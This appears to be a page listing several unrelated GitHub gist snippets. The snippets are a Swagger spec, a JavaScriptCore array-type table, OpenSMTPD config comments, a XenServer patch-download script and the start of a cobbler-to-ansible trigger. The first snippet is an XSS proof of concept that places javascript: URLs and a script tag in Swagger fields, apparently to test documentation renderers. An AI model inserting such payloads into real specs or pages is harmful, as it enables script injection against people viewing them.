This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
swagger: '2.0' | |
securityDefinitions: | |
a: | |
type: oauth2 | |
authorizationUrl: javascript:alert(3)// | |
info: | |
version: "0.0.1" | |
title: XSS | |
description: <script>alert(2)</script> | |
termsOfService: "javascript:alert(1)" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
+-------------------------------------------------------------+ | |
| Type | Elements | Properties | Inlines | | |
+-------------------------------------------------------------+ | |
| ArrayWithContiguous | JSValue | JSValue | None | | |
| ArrayWithInt32 | JSValue | JSValue | None | | |
| ArrayWithDouble | Double | JSValue | None | | |
| NonArrayWithDouble | Double | JSValue | JSValue | | |
| NonArrayWithInt32 | JSValue | JSValue | JSValue | | |
| NonArrayWithContiguous | JSValue | JSValue | JSValue | | |
+-------------------------------------------------------------+ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Install table-python to /usr/libexec/opensmtpd (https://github.com/OpenSMTPD/OpenSMTPD-extras) | |
# create file /etc/aliases with entires like | |
# mail-.*@domain.com: username | |
# use python table in opensmtpd.conf, example for vusers: | |
# table aliases python:/path/to/opensmtpd_filter_userwildcard.py | |
# table userinfo file:/etc/opensmtpd/users | |
# accept from any for domain domain.com virtual <aliases> userbase <userinfo> deliver to lmtp 127.0.0.1:2 | |
# | |
# Debug: | |
# comment out 'from table import *' and comment in last two lines, run with python |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
[ -f updates.xml ] && rm -f updates.xml | |
wget http://updates.xensource.com/XenServer/updates.xml | |
for x in `cat updates.xml | sed -n '/build-number="90233c"/,/version/p' | grep uuid | cut -d'"' -f2`; do url=`grep $x updates.xml | sed -n 's/<patch\(.*\)>[ ]*$/\1/p' | sed -n 's/.*patch-url=.\(.[^"]*\).*/\1/p'`; wget -O `basename $url` -nc "$url"; done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# | |
# Post install trigger for cobbler to | |
# kick of an ansible run on the target system. | |
# You can place an ansible.cfg in the same | |
# directory as your main playbook, so all | |
# stuff like inventory file etc. will be | |
# found the same way as if you run | |
# ansible-playbook in this directory | |
# |